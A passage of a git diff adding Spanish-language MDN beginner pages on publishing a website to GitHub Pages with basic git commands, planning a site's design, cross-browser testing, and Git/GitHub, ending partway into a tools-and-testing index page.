+ <li>Apunta la línea de comandos a tu directorio <code>sitio-prueba</code> (o como quiera que hayas llamado al directorio que contiene tu sitio web). Para esto utiliza el comando <code>cd</code> (es decir, <em>«change directory»</em>, «<em>cambiar de directorio»</em>). Aquí viene lo que deberías teclear si has ubicado tu sitio web en un directorio llamado <code>sitio-prueba</code> en tu escritorio:
+
+  <pre class="brush: bash notranslate">cd Desktop/sitio-prueba</pre>
+
+  <p>En Windows sería:</p>
+
+  <pre class="notranslate">cd %USERPROFILE%\Desktop\sitio-prueba</pre>
+ </li>
+ <li>Cuando la línea de comandos esté apuntando dentro del directorio de tu sitio web, teclea el siguiente comando, que indica a la herramienta de <code>git</code> que transforme el directorio en un repositorio de Git:
+  <pre class="brush: bash notranslate">git init</pre>
+ </li>
+ <li class="syntaxbox">
+  <p>A continuación, regresa a la ventana del sitio de GitHub que dejaste abierta. En esa página, la sección que interesa es <em>…or push an existing repository from the command line</em>. Deberías ver dos líneas de código listadas en esa sección. Copia toda la primera línea, pégala en la línea de comandos y presiona <kbd>Intro</kbd>. El comando debería verse similar a:</p>
+
+  <pre class="brush: bash notranslate">git remote add origin https://github.com/bobsmith/bobsmith.github.io.gi</pre>
+ </li>
+ <li>A continuación, ingresa los siguientes dos comandos, presionando <kbd>Intro</kbd> después de cada uno. Estos preparan el código para cargar a GitHub y pedir a Git administrar estos archivos.
+  <pre class="brush: bash notranslate">git add --all <kbd>Intro</kbd>
+git commit -m 'agregando archivos a mi repositorio' <kbd>Intro</kbd></pre>
+ </li>
+ <li>Finalmente, envía el codigo a GitHub tomando de la página web de GitHub en la que estás el segundo de los dos comandos del paso 3 e introdúcelo en el terminal:
+  <pre class="brush: bash notranslate">git push -u origin master</pre>
+ </li>
+ <li>Ahora cuando vayas a la direccion de red de tu página GitHub (<em>usuario.github.io</em>) en una nueva pestaña del navegador ¡deberías ver tu sitio en línea! Envíala por correo-e a tus amigos y presume de tu maestría.</li>
+</ol>
+
+<div class="note">
+<p><strong>Nota</strong>: has tocado apenas la superficie de Git. Si te quedas atascado la <a href="https://help.github.com/es/github/working-with-github-pages/getting-started-with-github-pages">ayuda de GitHub en español</a> te será de gran apoyo.</p>
+</div>
+
+<h3 id="Conocer_más_de_GitHub">Conocer más de GitHub</h3>
+
+<p>Si deseas hacer más cambios a tu sitio y enviarlos a GitHub, <span id="result_box" lang="es"><span>luego de modificar los archivos, debes ingresar los siguientes comandos (presionando <kbd>Intro</kbd> después de cada uno) para enviar esos cambios a GitHub:</span></span></p>
+
+<pre class="notranslate">git add --all <kbd>Intro</kbd>
+git commit -m '<em>otro commit</em>' <kbd>Intro</kbd>
+git push <kbd>Intro</kbd></pre>
+
+<p>Puedes reemplazar el texto <em>otro commit</em> con un mensaje más descriptivo respecto a los cambios que hiciste.</p>
+
+<h2 id="Conclusión">Conclusión</h2>
+
+<p>En este punto, deberías tener tu página web de ejemplo disponible en una dirección web única. ¡Bien hecho!</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/9485/hosted-final-site.png" style="display: block; height: 1049px; margin: 0px auto; width: 878px;"></p>
+
+<h3 id="Ver_también">Ver también</h3>
+
+<ul>
+ <li><a href="/es/docs/Learn/Common_questions/Que_es_un_servidor_WEB">¿Qué es un servidor web?</a></li>
+ <li><a href="/es/docs/Learn/Common_questions/What_is_a_domain_name">¿Qué es un nombre de dominio?</a></li>
+ <li><a href="/es/docs/Learn/Common_questions/Cuanto_cuesta">¿Cuánto cuesta hacer algo en la web?</a></li>
+ <li><a href="http://alignedleft.com/resources/cheap-web-hosting">Cheap or free static web hosting </a>(Alojamiento web estático barato o gratuito) <em>de Scott Murray</em> tiene algunas ideas útiles sobre servicios disponibles aunque el sitio ya está algo desactualizado (en inglés).</li>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/Getting_started_with_the_web/JavaScript_basics", "Learn/Getting_started_with_the_web/How_the_Web_works","Learn/Getting_started_with_the_web")}}</p>
diff --git a/files/es/learn/getting_started_with_the_web/what_will_your_website_look_like/index.html b/files/es/learn/getting_started_with_the_web/what_will_your_website_look_like/index.html
new file mode 100644
index 0000000000..fb6ced116f
--- /dev/null
+++ b/files/es/learn/getting_started_with_the_web/what_will_your_website_look_like/index.html
@@ -0,0 +1,113 @@
+---
+title: ¿Cuál será la apariencia de tu sitio Web?
+slug: Learn/Getting_started_with_the_web/What_will_your_website_look_like
+tags:
+  - Activos
+  - Aprender
+  - Composición
+  - Contenido
+  - Desaprobado
+  - Diseño
+  - Fuentes
+  - Imagenes
+  - Novato
+  - Planificar
+  - Principiante
+  - Tipos de Letra
+  - paso a paso
+translation_of: Learn/Getting_started_with_the_web/What_will_your_website_look_like
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Getting_started_with_the_web/Installing_basic_software", "Learn/Getting_started_with_the_web/Dealing_with_files", "Learn/Getting_started_with_the_web")}}</div>
+
+<div class="summary">
+<p><em>¿Cómo se verá tu sitio web?</em>, analiza el trabajo de planificación y diseño que debes realizar para tu sitio web antes de escribir el código, incluyendo: "¿qué información ofrece mi sitio web?", "¿qué tipos de letra y colores quiero?" y "¿qué hace mi sitio?".</p>
+</div>
+
+<h2 id="Lo_primero_es_lo_primero_planificación">Lo primero es lo primero: planificación</h2>
+
+<p>Antes de hacer nada, necesitas algunas ideas. ¿Qué debería hacer realmente tu sitio web?; Un sitio web puede hacer básicamente cualquier cosa, pero, en tu primer intento, debes mantener las cosas simples. Comenzarás creando una página web simple con un encabezado, una imagen y algunos párrafos.</p>
+
+<p>Para comenzar, deberás responder estas preguntas:</p>
+
+<ol>
+ <li><strong>¿De qué trata tu sitio web?</strong>, ¿te gustan los perros, Nueva York o Pac-Man?</li>
+ <li><strong>¿Qué información presentas sobre el tema?</strong>; Escribe un título y algunos párrafos y piensa en una imagen que te gustaría mostrar en tu página.</li>
+ <li><strong>¿Cómo se ve tu sitio web</strong>, en términos simples de alto nivel?, ¿cuál es el color de fondo?, ¿qué tipo de letra es apropiado: formal, caricaturesca, atrevida y fuerte, sutil?</li>
+</ol>
+
+<div class="note">
+<p><strong>Nota</strong>: Los proyectos complejos necesitan pautas detalladas que incluyan todos los detalles de los colores, los tipos de letra, el espacio entre los elementos de una página, el estilo de escritura adecuado, etc. Esto, a veces, se denomina guía de diseño, sistema de diseño o libro de marcas, y puedes ver un ejemplo en el <a href="https://design.firefox.com/photon/">Sistema de diseño de fotones de Firefox</a>.</p>
+</div>
+
+<h2 id="Haz_un_bosquejo_de_tu_diseño">Haz un bosquejo de tu diseño</h2>
+
+<p>A continuación, toma papel y lápiz y dibuja aproximadamente cómo deseas que se vea tu sitio. Para tu primera página web simple, no hay mucho que esbozar, pero deberías adquirir el hábito de hacerlo ahora. Realmente ayuda, ¡no tienes que ser Van Gogh!</p>
+
+<p><img alt="Bosquejo" src="https://mdn.mozillademos.org/files/9239/website-drawing-scan.png" style="display: block; height: 460px; margin: 0px auto; width: 640px;"></p>
+
+<div class="note">
+<p><strong>Nota</strong>: Incluso en sitios web reales y complejos, los equipos de diseño suelen comenzar con bocetos en papel y luego crean maquetas digitales utilizando un editor de gráficos o tecnologías web.</p>
+
+<p>Los equipos web suelen incluir tanto un diseñador gráfico como un diseñador de {{Glossary("UX", "experiencia de usuario")}} (UX). Los diseñadores gráficos ensamblan las imágenes del sitio web. Los diseñadores de experiencia de usuario tienen un papel algo más abstracto al abordar cómo los usuarios experimentarán e interactuarán con el sitio web.</p>
+</div>
+
+<h2 id="Elige_tus_activos">Elige tus activos</h2>
+
+<p>En este punto, es bueno comenzar a reunir el contenido que eventualmente aparecerá en tu página web.</p>
+
+<h3 id="Texto">Texto</h3>
+
+<p>Aún debes tener los párrafos y el título de antes. Mantenlos cerca.</p>
+
+<h3 id="Color_del_tema">Color del tema</h3>
+
+<p>Para elegir un color, ve al <a href="https://developer.mozilla.org/es/docs/Web/CSS/CSS_Colors/Color_picker_tool">Selector de color</a> y busca un color que te guste . Al hacer clic en un color, verás un extraño código de seis caracteres como <code>#660066</code>. Eso se llama <em>código hexadecimal</em> (abreviatura de hexadecimal) y representa tu color. Copia el código en un lugar seguro por ahora.</p>
+
+<p><img alt="Color del tema" src="https://mdn.mozillademos.org/files/8975/Screenshot%20from%202014-11-03%2017:40:49.png" style="border-style: solid; border-width: 1px; height: 262px; width: 448px;"></p>
+
+<h3 id="Imágenes">Imágenes</h3>
+
+<p>Para elegir una imagen, ve a <a href="https://www.google.com/imghp?gws_rd=ssl">Imágenes Google</a> y busca algo adecuado.</p>
+
+<ol>
+ <li>Cuando encuentres la imagen que deseas, haz clic en la imagen para obtener una vista ampliada de la misma.</li>
+ <li>Haz clic con el botón derecho en la imagen (Ctrl+clic en una Mac), elige <em>Guardar imagen como...</em> y elige un lugar seguro para guardar tu imagen. Alternativamente, copia la dirección web de la imagen de la barra de direcciones de tu navegador para su posterior uso.</li>
+</ol>
+
+<p><img alt="Imágenes" src="https://mdn.mozillademos.org/files/16599/updated-google-images.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p>
+
+<p>Ten en cuenta que la mayoría de las imágenes en la web, incluidas las de Imágenes Google, están protegidas por derechos de autor. Para reducir tu probabilidad de violar los derechos de autor, puedes utilizar el filtro de licencias de Google. Haz clic en el botón <em>Herramientas</em> y luego en la opción <em>Derechos de uso</em> resultante que aparece a continuación. Debes elegir una opción como <em>Etiquetado para reutilización</em>.</p>
+
+<p><img alt="Etiquetado para reutilización" src="https://mdn.mozillademos.org/files/16598/updated-google-images-licensing.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p>
+
+<h3 id="Tipos_de_letra">Tipos de letra</h3>
+
+<p>Para elegir un tipo de letra:</p>
+
+<ol>
+ <li>Ve a <a href="http://www.google.com/fonts">Google Fonts</a> y desplázate hacia abajo en la lista hasta que encuentres una que te guste. También puedes utilizar los controles de la derecha para filtrar aún más los resultados.</li>
+ <li>Haz clic en el icono "más" (Agregar a) junto al tipo de letra que desees.</li>
+ <li>Haz clic en el botón "<em>*Familia seleccionada</em>" en el panel en la parte inferior de la página ("*" depende de cuántos tipos de letra hayas seleccionado).</li>
+ <li>En el cuadro emergente, puedes ver y copiar las líneas de código que Google te brinda en tu editor de texto para guardarlas para más adelante.</li>
+</ol>
+
+<p><img alt="Archivos de tipo de letra" src="https://mdn.mozillademos.org/files/13871/font1.png" style="border-style: solid; border-width: 1px; height: 359px; width: 600px;"></p>
+
+<p><img alt="Tipos de letra" src="https://mdn.mozillademos.org/files/13873/font2.png" style="border-style: solid; border-width: 1px; height: 608px; width: 600px;"></p>
+
+<p>{{PreviousMenuNext("Learn/Getting_started_with_the_web/Installing_basic_software", "Learn/Getting_started_with_the_web/Dealing_with_files", "Learn/Getting_started_with_the_web")}}</p>
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ul>
+ <li id="Instalacion_de_software_basico">{{web.link("/es/docs/Learn/Getting_started_with_the_web/Instalacion_de_software_basico", "Instalación de software básico")}}</li>
+ <li id="Cual_sera_la_apariencia_de_tu_sitio_web">{{web.link("/es/docs/Learn/Getting_started_with_the_web/Cual_sera_la_apariencia_de_tu_sitio_web", "Cuál será la apariencia de tu sitio web")}}</li>
+ <li id="Manejo de archivos">{{web.link("/es/docs/Learn/Getting_started_with_the_web/Dealing_with_files", "Manejo de archivos")}}</li>
+ <li id="Conceptos_basicos_de_HTML">{{web.link("/es/docs/Learn/Getting_started_with_the_web/HTML_basics", "Conceptos básicos de HTML")}}</li>
+ <li id="Conceptos_basicos_de_CSS">{{web.link("/es/docs/Learn/Getting_started_with_the_web/CSS_basics", "Conceptos básicos de CSS")}}</li>
+ <li id="Conceptos_basicos_de_JavaScript">{{web.link("/es/docs/Learn/Getting_started_with_the_web/JavaScript_basics", "Conceptos básicos de JavaScript")}}</li>
+ <li id="Publicar_tu_sitio_web">{{web.link("/es/docs/Learn/Getting_started_with_the_web/Publishing_your_website", "Publicar tu sitio web")}}</li>
+ <li id="Como_funciona_la_web">{{web.link("/es/docs/Learn/Getting_started_with_the_web/Cómo_funciona_la_Web", "Cómo funciona la Web")}}</li>
+</ul>
diff --git a/files/es/learn/herramientas_y_pruebas/cross_browser_testing/index.html b/files/es/learn/herramientas_y_pruebas/cross_browser_testing/index.html
new file mode 100644
index 0000000000..73bd6299a1
--- /dev/null
+++ b/files/es/learn/herramientas_y_pruebas/cross_browser_testing/index.html
@@ -0,0 +1,39 @@
+---
+title: Cross browser testing
+slug: Learn/Herramientas_y_pruebas/Cross_browser_testing
+translation_of: Learn/Tools_and_testing/Cross_browser_testing
+---
+<div>{{LearnSidebar}}</div>
+
+<p class="summary">Este módulo se centra en probar proyectos web en diferentes navegadores. Nos fijamos en la identificación de su público objetivo (por ejemplo, qué usuarios, navegadores y dispositivos son los que más le preocupan?), cómo realizar las pruebas, los principales problemas a los que se enfrentará con los diferentes tipos de código y cómo mitigarlos, qué herramientas son las más útiles para ayudarle a probar y solucionar problemas, y cómo utilizar la automatización para acelerar las pruebas.</p>
+
+<h2 id="Prerequisitos">Prerequisitos</h2>
+
+<p>Debería aprender los conceptos básicos de los lenguajes <a href="/en-US/docs/Learn/HTML">HTML</a>, <a href="/en-US/docs/Learn/CSS">CSS</a> y <a href="/en-US/docs/Learn/JavaScript">JavaScript</a> básicos antes de intentar utilizar las herramientas que se detallan aquí.</p>
+
+<h2 id="Guías">Guías</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Introduction">Introducción a la prueba de navegadores cruzados</a></dt>
+ <dd>Este artículo comienza el módulo proporcionando una visión general del tema de la prueba de navegadores cruzados, respondiendo a preguntas como "¿qué es la prueba de navegadores cruzados? y "¿cuáles son los tipos de problemas más comunes que se encuentran?</dd>
+ <dt><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies">Estrategias para la realización de las pruebas</a></dt>
+ <dd>
+ <p>A continuación, profundizamos en la realización de pruebas, la identificación de un público objetivo (por ejemplo, qué navegadores, dispositivos y otros segmentos deben ser probados), estrategias de pruebas de baja fiabilidad (obtenga una gama de dispositivos y algunas máquinas virtuales y realice pruebas ad-hoc cuando sea necesario), estrategias de alta tecnología (automatización, uso de aplicaciones de pruebas dedicadas), y pruebas con grupos de usuarios.</p>
+ </dd>
+ <dt><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS">Manejo de problemas comunes de HTML y CSS</a></dt>
+ <dd>
+ <p>Con el conjunto de escenas, ahora veremos específicamente los problemas comunes entre navegadores que encontrará en código HTML y CSS, y qué herramientas se pueden usar para evitar que ocurran problemas o para solucionarlos. Esto incluye el código de hilado, la entrega de prefijos CSS, el uso de herramientas de desarrollo de navegadores para localizar problemas, el uso de polifiltros para añadir soporte a los navegadores, la solución de problemas de diseño con capacidad de respuesta, y mucho más.</p>
+ </dd>
+ <dt><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/JavaScript">Manejo de problemas comunes de JavaScript</a></dt>
+ <dd>
+ <p>Ahora veremos los problemas comunes de JavaScript en todos los navegadores y cómo solucionarlos. Esto incluye información sobre el uso de herramientas de desarrollo del navegador para localizar y solucionar problemas, el uso de polifondos y bibliotecas para solucionar los problemas, el funcionamiento de las funciones modernas de JavaScript en navegadores antiguos, y mucho más.</p>
+ </dd>
+ <dt><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility">Manejo de problemas comunes de accesibilidad</a></dt>
+ <dd>A continuación, nos centramos en la accesibilidad, proporcionando información sobre problemas comunes, cómo realizar pruebas sencillas y cómo utilizar las herramientas de auditoría/automatización para encontrar problemas de accesibilidad.</dd>
+ <dt><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Feature_detection">Implementación de la detección de características</a></dt>
+ <dd>La detección de funciones implica determinar si un navegador soporta un determinado bloque de código, y ejecutar un código diferente dependiendo de si lo hace (o no), de modo que el navegador siempre puede proporcionar una experiencia de trabajo en lugar de bloquearse/error en algunos navegadores. Este artículo detalla cómo escribir su propia detección de características simples, cómo usar una biblioteca para acelerar la implementación y características nativas para la detección de características como <code>@supports</code>.</dd>
+ <dt><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Automated_testing">Introducción a las pruebas automatizadas</a></dt>
+ <dd>La realización manual de pruebas en varios navegadores y dispositivos, varias veces al día, puede resultar tediosa y consumir mucho tiempo. Para manejar esto eficientemente, debe familiarizarse con las herramientas de automatización. En este artículo, analizamos lo que está disponible, cómo utilizar los corredores de tareas y los conceptos básicos de cómo utilizar las aplicaciones de automatización de pruebas de navegadores comerciales, como Sauce Labs y Browser Stack.</dd>
+ <dt><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Your_own_automation_environment">Configuración de su propio entorno de automatización de pruebas</a></dt>
+ <dd>En este artículo, le enseñaremos cómo instalar su propio entorno de automatización y ejecutar sus propias pruebas utilizando Selenium/WebDriver y una biblioteca de pruebas como Selenium-webdriver for Node. También veremos cómo integrar su entorno de pruebas local con aplicaciones comerciales como las que se comentaron en el artículo anterior.</dd>
+</dl>
diff --git a/files/es/learn/herramientas_y_pruebas/github/index.html b/files/es/learn/herramientas_y_pruebas/github/index.html
new file mode 100644
index 0000000000..62646f1cc4
--- /dev/null
+++ b/files/es/learn/herramientas_y_pruebas/github/index.html
@@ -0,0 +1,92 @@
+---
+title: Git y GitHub
+slug: Learn/Herramientas_y_pruebas/GitHub
+tags:
+  - Aprender
+  - GitHub
+  - Principiante
+  - Web
+  - git
+translation_of: Learn/Tools_and_testing/GitHub
+---
+<div>{{LearnSidebar}}</div>
+
+<p><font><font>Todos los desarrolladores utilizarán algún tipo de </font></font><strong><font><font>sistema de control de versiones</font></font></strong><font><font> ( </font></font><strong><font><font>VCS</font></font></strong><font><font> ), una herramienta que les permita colaborar con otros desarrolladores en un proyecto sin peligro de que sobrescriban el trabajo de los demás, y volver a las versiones anteriores de la base de código si existe un problema descubierto más tarde. </font><font>El VCS más popular (al menos entre los desarrolladores web) es </font></font><strong><font><font>Git</font></font></strong><font><font>, junto con </font></font><strong><font><font>GitHub</font></font></strong><font><font>, un sitio que proporciona alojamiento para tus repositorios y varias herramientas para trabajar con ellos. </font><font>Este módulo tiene como objetivo enseñarte lo que necesitas saber sobre ambos.</font></font></p>
+
+<h2 id="Introducción"><font><font>Introducción</font></font></h2>
+
+<p><font><font>Los VCS son esenciales para el desarrollo de software:</font></font></p>
+
+<ul>
+ <li><font><font>Es raro que trabajes en un proyecto completamente por tu cuenta, y tan pronto como comiences a trabajar con otras personas, comenzarás a correr el riesgo de entrar en conflicto con el trabajo del otro, es decir, cuando ambos intentan actualizar simultáneamente la misma pieza de código. </font><font>Debes tener algún tipo de mecanismo para administrar las ocurrencias y, como resultado, evitar la pérdida de trabajo.</font></font></li>
+ <li><font><font>Cuando trabajes en un proyecto por tu cuenta o con otros, querrás poder hacer una copia de seguridad del código en un lugar central, para que no se pierda si tu computadora se daña.</font></font></li>
+ <li><font><font>También querrás poder volver a versiones anteriores si más tarde descubres un problema. </font><font>Es posible que hayas empezado a hacer esto en tu propio trabajo mediante la creación de diferentes versiones de un mismo archivo, por ejemplo </font></font><code>myCode.js</code><font><font>, </font></font><code>myCode_v2.js</code><font><font>, </font></font><code>myCode_v3.js</code><font><font>, </font></font><code>myCode_final.js</code><font><font>, </font></font><code>myCode_really_really_final.js</code><font><font>, etc, pero esto es muy propenso a errores y poco fiable.</font></font></li>
+ <li><font><font>Los diferentes miembros del equipo generalmente querrán crear sus propias versiones separadas del código (llamadas </font></font><strong><font><font>ramas</font></font></strong><font><font> en Git), trabajar en una nueva característica en esa versión y luego fusionarla de manera controlada (en GitHub usamos </font></font><strong><font><font>solicitudes de extracción</font></font></strong><font><font>) con la versión maestra cuando hayan terminado con ella.</font></font></li>
+</ul>
+
+<p><font><font>Los VCS proporcionan herramientas para satisfacer las necesidades anteriores. </font></font><a href="https://git-scm.com/" rel="noopener"><font><font>Git</font></font></a><font><font> es un ejemplo de VCS, y </font></font><a href="https://github.com/" rel="noopener"><font><font>GitHub</font></font></a><font><font> es un sitio web + infraestructura que proporciona un servidor Git más una serie de herramientas realmente útiles para trabajar con repositorios git individuales o en equipo, como informar problemas con el código, herramientas de revisión, características de administración de proyectos tal como asignación de tareas, estados de tareas, y más.</font></font></p>
+
+<div class="blockIndicator note">
+<p><strong><font><font>Nota</font></font></strong><font><font>: Git en realidad es un </font><font>sistema de control de versiones </font></font><em><font><font>distribuido</font></font></em><font><font>, lo cual significa que se realiza una copia completa del repositorio que contiene la base de código en tu computadora (y en la de todos los demás). </font><font>Realizas cambios en tu propia copia, y luego empujas esos cambios nuevamente al servidor, donde un administrador decidirá si fusiona tus cambios con la copia maestra.</font></font></p>
+</div>
+
+<h3 id="¿Quieres_convertirte_en_un_desarrollador_web_front-end"><font><font>¿Quieres convertirte en un desarrollador web front-end?</font></font></h3>
+
+<p><font><font>Hemos preparado un curso que incluye toda la información esencial que necesitas para alcanzar tu objetivo.</font></font></p>
+
+<div class="in-page-callout webdev">
+<p><a class="cta primary" href="/docs/Learn/Front-end_web_developer">Comenzar</a></p>
+</div>
+
+<h2 id="Prerequisitos"><font><font>Prerequisitos</font></font></h2>
+
+<p><font><font>Para usar Git y GitHub, necesitas:</font></font></p>
+
+<ul>
+ <li><font><font>Una computadora de escritorio con Git instalado (consulta la </font></font><a href="https://git-scm.com/downloads" rel="noopener"><font><font>página de descargas de Git</font></font></a><font><font>).</font></font></li>
+ <li><font><font>Una herramienta para usar Git. </font><font>Dependiendo de cómo te guste trabajar, puedes usar un </font></font><a href="https://git-scm.com/downloads/guis/" rel="noopener"><font><font>cliente Git  con GUI</font></font></a><font><font> (te recomendamos GitHub Desktop, SourceTree o Git Kraken) o simplemente usar una ventana de la terminal. </font><font>De hecho, probablemente sea útil que conozcas al menos los conceptos básicos de los comandos de la terminal git, incluso si tienes la intención de usar una GUI.</font></font></li>
+ <li><font><font>Una </font></font><a href="https://github.com/join" rel="noopener"><font><font>cuenta de GitHub</font></font></a><font><font>. </font><font>Si aún no tienes una, regístrate ahora usando el enlace provisto.</font></font></li>
+</ul>
+
+<p><font><font>En términos de conocimiento previo, no necesitas saber nada sobre desarrollo web, Git/GitHub o VCS para iniciar este módulo. </font><font>Sin embargo, se recomienda que conozcas algo de codificación para que tengas conocimientos informáticos razonables y algún código para almacenar en tus repositorios.</font></font></p>
+
+<p><font><font>También es preferible que tengas algunos conocimientos básicos de la terminal, por ejemplo, moverte entre directorios, crear archivos y modificar la variable del sistema </font></font><code>PATH</code><font><font>.</font></font></p>
+
+<div class="blockIndicator note">
+<p><strong><font><font>Nota</font></font></strong><font><font>: Github no es el único sitio/conjunto de herramientas que puedes usar con Git. </font><font>Hay otras alternativas, como </font></font><a href="https://about.gitlab.com/" rel="noopener"><font><font>GitLab,</font></font></a><font><font> que podrías probar, y también podrías intentar configurar tu propio servidor Git y usarlo en lugar de GitHub. </font><font>Solo nos hemos quedado con GitHub en este curso para proporcionar una forma única que funciona.</font></font></p>
+</div>
+
+<h2 id="Guías"><font><font>Guías</font></font></h2>
+
+<p><font><font>Ten en cuenta que los enlaces a continuación te llevan a recursos en sitios externos. </font><font>Eventualmente intentaremos tener nuestro propio curso Git/GitHub dedicado, pero por ahora, esto te ayudará a familiarizarte con el tema en cuestión.</font></font></p>
+
+<dl>
+ <dt><a href="https://guides.github.com/activities/hello-world/" rel="noopener"><font><font>Hola mundo (de GitHub)</font></font></a></dt>
+ <dd><font><font>Este es un buen lugar para comenzar: esta guía práctica te permite comenzar a usar GitHub, aprender los conceptos básicos de Git, como crear repositorios y ramas, realizar confirmaciones, abrir y fusionar solicitudes de extracción.</font></font></dd>
+ <dt><a href="https://guides.github.com/introduction/git-handbook/" rel="noopener"><font><font>Manual de Git (en GitHub)</font></font></a></dt>
+ <dd><font><font>Este Manual de Git profundiza un poco más, explicando qué es un VCS, qué es un repositorio, cómo funciona el modelo básico de GitHub, comandos y ejemplos de Git, y más.</font></font></dd>
+ <dt><a href="https://guides.github.com/activities/forking/" rel="noopener"><font><font>Bifurcación de proyectos (de GitHub)</font></font></a></dt>
+ <dd><font><font>Bifurcar proyectos es esencial cuando deseas contribuir al código de otra persona. </font><font>Esta guía explica cómo.</font></font></dd>
+ <dt><a href="https://help.github.com/en/articles/about-pull-requests" rel="noopener"><font><font>Acerca de las solicitudes de extracción (de GitHub)</font></font></a></dt>
+ <dd><font><font>Una útil guía para administrar las solicitudes de extracción, la forma en que los cambios de código sugeridos se entregan a los repositorios de las personas para su consideración.</font></font></dd>
+ <dt><a href="https://guides.github.com/features/issues/" rel="noopener"><font><font>Dominando las incidencias (de GitHub)</font></font></a></dt>
+ <dd><font><font>Las incidencias son como un foro para tu proyecto GitHub, donde las personas pueden hacer preguntas e informar problemas, y tú puede administrar las actualizaciones (por ejemplo, asignar personas para solucionar problemas, aclarar el problema, informar a las personas que las cosas están solucionadas). </font><font>Este artículo te brinda lo que necesitas saber sobre las incidencias.</font></font></dd>
+</dl>
+
+<div class="blockIndicator note">
+<p><strong><font><font>Nota</font></font></strong><font><font>: Hay </font></font><strong><font><font>mucho más</font></font></strong><font><font> que puedes hacer con Git y GitHub, pero creemos que lo anterior representa lo mínimo que necesitas saber para comenzar a usar Git de manera efectiva. </font><font>A medida que profundices en Git, comenzarás a darte cuenta de que es fácil equivocarse cuando comienzas a usar comandos más complicados. </font><font>No te preocupes, incluso los desarrolladores web profesionales encuentran a Git confuso a veces, y a menudo resuelven problemas buscando soluciones en la web, o consultando sitios como </font></font><a href="https://github.com/k88hudson/git-flight-rules/blob/master/README_es.md" rel="noopener"><font><font>Reglas de vuelo para Git</font></font></a><font><font> y </font></font><a href="https://dangitgit.com/es" rel="noopener"><font><font>Dangit, ¡git!</font></font></a></p>
+</div>
+
+<h2 id="Ve_también"><font><font>Ve también</font></font></h2>
+
+<ul>
+ <li><a href="https://guides.github.com/introduction/flow/" rel="noopener"><font><font>Comprender el flujo de GitHub</font></font></a></li>
+ <li><a href="https://git-scm.com/docs" rel="noopener"><font><font>Lista de comandos de Git</font></font></a></li>
+ <li><a href="https://guides.github.com/features/mastering-markdown/" rel="noopener"><font><font>Reducción de dominio</font></font></a><font><font> (el formato de texto en el que escribe en relaciones públicas, comentarios de insidencias y archivos </font></font><code>.md</code><font><font>).</font></font></li>
+ <li><a href="https://guides.github.com/features/pages/" rel="noopener"><font><font>Introducción a las páginas de GitHub</font></font></a><font><font> (cómo publicar demostraciones y sitios web en GitHub).</font></font></li>
+ <li><a href="https://learngitbranching.js.org/" rel="noopener"><font><font>Aprende la ramificación de Git</font></font></a></li>
+ <li><a href="https://github.com/k88hudson/git-flight-rules" rel="noopener"><font><font>Reglas de vuelo para Git</font></font></a><font><font> (un compendio muy útil de formas de lograr cosas específicas en Git, incluida la forma de corregir las cosas cuando te equivocaste).</font></font></li>
+ <li>
+  <p><a href="https://dangitgit.com/" rel="noopener"><font><font>Dangit, git! </font></font></a><font><font>(otro compendio útil, específicamente de formas de corregir las cosas cuando te equivocaste).</font></font></p>
+ </li>
+</ul>
diff --git a/files/es/learn/herramientas_y_pruebas/index.html b/files/es/learn/herramientas_y_pruebas/index.html
new file mode 100644
index 0000000000..a147c98f65
--- /dev/null
+++ b/files/es/learn/herramientas_y_pruebas/index.html
@@ -0,0 +1,58 @@
+---
+title: Herramientas y pruebas
+slug: Learn/Herramientas_y_pruebas
+tags:
+  - Accesibilidad
+  - Aprender
+  - Aterrizaje
+  - CSS
+  - CodificaciónDeSecuenciasDeComandos
+  - HTML
+  - Herramientas
+  - JavaScript
+  - Navegador cruzado
+  - Principiante
+  - Pruebas de usuario
+  - Tema
+  - Testing
+  - automatización
+translation_of: Learn/Tools_and_testing
+---
+<div>
+<p>{{LearnSidebar}}</p>
+
+<p>Una vez que haya comenzado a sentirse cómodo programando con tecnologías web básicas (como HTML, CSS y JavaScript), y comience a adquirir más experiencia, leer más recursos y aprender más trucos y consejos, comenzará a encontrar todos tipo de herramientas, desde CSS y JavaScript ya enrollados, aplicaciones de prueba y automatización, y muchas más. A medida que sus proyectos web se vuelvan más grandes y complejos, querrá comenzar a aprovechar algunas de estas herramientas y elaborar planes de prueba confiables para su código. Esta parte del área de aprendizaje tiene como objetivo brindarle lo que necesita para comenzar y tomar decisiones informadas.</p>
+</div>
+
+<p class="summary"> </p>
+
+<p>{{LearnSidebar}}</p>
+
+<p>La industria de la web es un lugar emocionante para trabajar, pero no está exenta de complicaciones. Las tecnologías principales que utilizamos para crear sitios web son bastante estables ahora, pero se están agregando nuevas características todo el tiempo, y nuevas herramientas, que facilitan el trabajo con estas tecnologías y están construidas sobre estas tecnologías, aparecen constantemente. Además de eso, todavía tenemos que mantener la compatibilidad entre navegadores en la parte superior de nuestras mentes y asegurarnos de que nuestro código sigue las mejores prácticas que permiten que nuestros proyectos funcionen en diferentes navegadores y dispositivos que nuestros usuarios utilizan para navegar por la Web, y ser utilizable por personas con discapacidad.</p>
+
+<p>Determinar qué herramientas debería usar puede ser un proceso difícil, por lo que hemos escrito este conjunto de artículos para informarle qué tipos de herramientas están disponibles, qué pueden hacer por usted y cómo hacer uso de los favoritos actuales de la industria.</p>
+
+<p> </p>
+
+<div class="note">
